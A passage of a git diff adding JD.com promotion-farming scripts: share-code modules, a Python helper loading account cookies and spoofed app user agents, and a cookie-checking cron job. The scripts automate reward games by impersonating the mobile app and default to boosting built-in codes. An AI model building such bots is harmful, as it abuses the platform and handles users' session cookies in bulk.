process.env.DREAM_FACTORY_SHARE_CODES.split(); + } +} else { + console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} diff --git a/jdEnv.py b/jdEnv.py new file mode 100644 index 0000000..7cb318a --- /dev/null +++ b/jdEnv.py @@ -0,0 +1,67 @@ +import os +import random +import re + + +def env(key): + return os.environ.get(key) + + +# 宠汪汪 +JD_JOY_REWARD_NAME = 500 # 默认500 +if env("JD_JOY_REWARD_NAME"): + JD_JOY_REWARD_NAME = int(env("JD_JOY_REWARD_NAME")) + +# Cookie +cookies = [] +if env("JD_COOKIE"): + cookies.extend(env("JD_COOKIE").split('&')) + +# UA +USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +USER_AGENTS = USER_AGENTS[random.randint(0, len(USER_AGENTS) - 1)] + + +def root(): + if 'Options:' in os.popen('sudo -h').read() or re.match(r'[C-Z]:.*', os.getcwd()): + return True + else: + print('珍爱ck,远离docker') + return False diff --git a/jdFactoryShareCodes.js b/jdFactoryShareCodes.js new file mode 100644 index 0000000..c45eb2a --- /dev/null +++ b/jdFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +东东工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) { +// process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&'); +// } + +// 判断环境变量里面是否有东东工厂互助码 +if (process.env.DDFACTORY_SHARECODES) { + if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('&'); + } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.DDFACTORY_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} \ No newline at end of file diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js new file mode 100644 index 0000000..677d2b0 --- /dev/null +++ b/jdFruitShareCodes.js @@ -0,0 +1,37 @@ +/* +东东农场互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let FruitShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) { +// process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东农场互助码 +if (process.env.FRUITSHARECODES) { + if (process.env.FRUITSHARECODES.indexOf('&') > -1) { + console.log(`您的东东农场互助码选择的是用&隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('&'); + } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东农场互助码选择的是用换行隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('\n'); + } else { + FruitShareCodes = process.env.FRUITSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < FruitShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['FruitShareCode' + index] = FruitShareCodes[i]; +} diff --git a/jdJxncShareCodes.js b/jdJxncShareCodes.js new file mode 100644 index 0000000..8c8a25f --- /dev/null +++ b/jdJxncShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜农场助力码 +此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。 +// 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 每个账号 shareCdoe 是一个 json,示例如下 +// {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"} +let JxncShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] +// 判断github action里面是否有京喜农场助力码 +if (process.env.JXNC_SHARECODES) { + if (process.env.JXNC_SHARECODES.indexOf('&') > -1) { + console.log(`您的京喜农场助力码选择的是用&隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('&'); + } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) { + console.log(`您的京喜农场助力码选择的是用换行隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('\n'); + } else { + JxncShareCodes = process.env.JXNC_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +JxncShareCodes = JxncShareCodes.filter(item => !!item); +for (let i = 0; i < JxncShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['JxncShareCode' + index] = JxncShareCodes[i]; +} diff --git a/jdPetShareCodes.js b/jdPetShareCodes.js new file mode 100644 index 0000000..a7c4422 --- /dev/null +++ b/jdPetShareCodes.js @@ -0,0 +1,37 @@ +/* +东东萌宠互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PetShareCodes = [ + 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) { +// process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东萌宠互助码 +if (process.env.PETSHARECODES) { + if (process.env.PETSHARECODES.indexOf('&') > -1) { + console.log(`您的东东萌宠互助码选择的是用&隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('&'); + } else if (process.env.PETSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东萌宠互助码选择的是用换行隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('\n'); + } else { + PetShareCodes = process.env.PETSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PetShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PetShareCode' + index] = PetShareCodes[i]; +} \ No newline at end of file diff --git a/jdPlantBeanShareCodes.js b/jdPlantBeanShareCodes.js new file mode 100644 index 0000000..fff431b --- /dev/null +++ b/jdPlantBeanShareCodes.js @@ -0,0 +1,37 @@ +/* +京东种豆得豆互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PlantBeanShareCodes = [ + '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) { +// process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&'); +// } + +// 判断github action里面是否有种豆得豆互助码 +if (process.env.PLANT_BEAN_SHARECODES) { + if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) { + console.log(`您的种豆互助码选择的是用&隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&'); + } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) { + console.log(`您的种豆互助码选择的是用换行隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n'); + } else { + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PlantBeanShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i]; +} diff --git a/jd_CheckCK.js b/jd_CheckCK.js new file mode 100644 index 0000000..aabdd17 --- /dev/null +++ b/jd_CheckCK.js @@ -0,0 +1,975 @@ +/* +cron "30 * * * *" jd_CheckCK.js, tag:京东CK检测by-ccwav + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const $ = new Env('京东CK检测'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + getstatus +} = require('./ql'); +const api = got.extend({ + retry: { + limit: 0 + }, + responseType: 'json', + }); + +let ShowSuccess = "false", +CKAlwaysNotify = "false", +CKAutoEnable = "true", +NoWarnError = "false"; + +let MessageUserGp2 = ""; +let MessageUserGp3 = ""; +let MessageUserGp4 = ""; + +let MessageGp2 = ""; +let MessageGp3 = ""; +let MessageGp4 = ""; +let MessageAll = ""; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + +let IndexGp2 = 0; +let IndexGp3 = 0; +let IndexGp4 = 0; +let IndexAll = 0; + +let TempErrorMessage = '', +TempSuccessMessage = '', +TempDisableMessage = '', +TempEnableMessage = '', +TempOErrorMessage = ''; + +let allMessage = '', +ErrorMessage = '', +SuccessMessage = '', +DisableMessage = '', +EnableMessage = '', +OErrorMessage = ''; + +let allMessageGp2 = '', +ErrorMessageGp2 = '', +SuccessMessageGp2 = '', +DisableMessageGp2 = '', +EnableMessageGp2 = '', +OErrorMessageGp2 = ''; + +let allMessageGp3 = '', +ErrorMessageGp3 = '', +SuccessMessageGp3 = '', +DisableMessageGp3 = '', +EnableMessageGp3 = '', +OErrorMessageGp3 = ''; + +let allMessageGp4 = '', +ErrorMessageGp4 = '', +SuccessMessageGp4 = '', +DisableMessageGp4 = '', +EnableMessageGp4 = '', +OErrorMessageGp4 = ''; + +let strAllNotify = ""; +let strNotifyOneTemp = ""; +let WP_APP_TOKEN_ONE = ""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} + +let ReturnMessageTitle = ''; + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + console.log(`检测到设定了分组推送2`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + console.log(`检测到设定了分组推送3`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + console.log(`检测到设定了分组推送4`); +} + +if ($.isNode() && process.env.CHECKCK_SHOWSUCCESSCK) { + ShowSuccess = process.env.CHECKCK_SHOWSUCCESSCK; +} +if ($.isNode() && process.env.CHECKCK_CKALWAYSNOTIFY) { + CKAlwaysNotify = process.env.CHECKCK_CKALWAYSNOTIFY; +} +if ($.isNode() && process.env.CHECKCK_CKAUTOENABLE) { + CKAutoEnable = process.env.CHECKCK_CKAUTOENABLE; +} +if ($.isNode() && process.env.CHECKCK_CKNOWARNERROR) { + NoWarnError = process.env.CHECKCK_CKNOWARNERROR; +} + +if ($.isNode() && process.env.CHECKCK_ALLNOTIFY) { + + strAllNotify = process.env.CHECKCK_ALLNOTIFY; +/* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + } */ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); +} + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid=0; + if(envs[i]._id){ + tempid=envs[i]._id; + } + if(envs[i].id){ + tempid=envs[i].id; + } + cookie = await getEnvById(tempid); + $.UserName = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.UserName2 = decodeURIComponent($.UserName); + $.index = i + 1; + $.isLogin = true; + $.error = ''; + $.NoReturn = ''; + $.nickName = ""; + TempErrorMessage = ''; + TempSuccessMessage = ''; + TempDisableMessage = ''; + TempEnableMessage = ''; + TempOErrorMessage = ''; + + console.log(`开始检测【京东账号${$.index}】${$.UserName2} ....\n`); + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.UserName); + } + if (MessageUserGp2) { + + userIndex2 = MessageUserGp2.findIndex((item) => item === $.UserName); + } + if (MessageUserGp3) { + + userIndex3 = MessageUserGp3.findIndex((item) => item === $.UserName); + } + + if (userIndex2 != -1) { + console.log(`账号属于分组2`); + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.UserName2}`; + } + if (userIndex3 != -1) { + console.log(`账号属于分组3`); + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.UserName2}`; + } + if (userIndex4 != -1) { + console.log(`账号属于分组4`); + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.UserName2}`; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + console.log(`账号没有分组`); + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.UserName2}`; + } + + await TotalBean(); + if ($.NoReturn) { + console.log(`接口1检测失败,尝试使用接口2....\n`); + await isLoginByX1a0He(); + } else { + if ($.isLogin) { + if (!$.nickName) { + console.log(`获取的别名为空,尝试使用接口2验证....\n`); + await isLoginByX1a0He(); + } else { + console.log(`成功获取到别名: ${$.nickName},Pass!\n`); + } + } + } + + if ($.error) { + console.log(`有错误,跳出....`); + TempOErrorMessage = $.error; + + } else { + const strnowstatus = await getstatus(tempid); + if (strnowstatus == 99) { + strnowstatus = envs[i].status; + } + if (!$.isLogin) { + + if (strnowstatus == 0) { + const DisableCkBody = await DisableCk(tempid); + if (DisableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用成功!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用成功!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用成功!\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + strNotifyOneTemp = `京东账号: ${$.nickName || $.UserName2} 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.` + + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + + await notify.sendNotifybyWxPucher(`${$.name}`, strNotifyOneTemp, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,自动禁用失败!\n`); + TempDisableMessage = ReturnMessageTitle + ` (自动禁用失败!)\n`; + TempErrorMessage = ReturnMessageTitle + ` 已失效,自动禁用失败!\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已失效,已禁用!\n`); + TempErrorMessage = ReturnMessageTitle + ` 已失效,已禁用.\n`; + } + } else { + if (strnowstatus == 1) { + + if (CKAutoEnable == "true") { + const EnableCkBody = await EnableCk(tempid); + if (EnableCkBody.code == 200) { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n祝您挂机愉快...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,自动启用成功!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + TempSuccessMessage = ReturnMessageTitle + ` (自动启用成功!)\n`; + } else { + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`, `京东账号: ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n请联系管理员处理...`, `${$.UserName2}`); + } + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,但自动启用失败!\n`); + TempEnableMessage = ReturnMessageTitle + ` (自动启用失败!)\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 已恢复,可手动启用!\n`); + TempEnableMessage = ReturnMessageTitle + ` 已恢复,可手动启用.\n`; + } + } else { + console.log(`京东账号${$.index} : ${$.nickName || $.UserName2} 状态正常!\n`); + TempSuccessMessage = ReturnMessageTitle + `\n`; + } + } + } + + if (userIndex2 != -1) { + ErrorMessageGp2 += 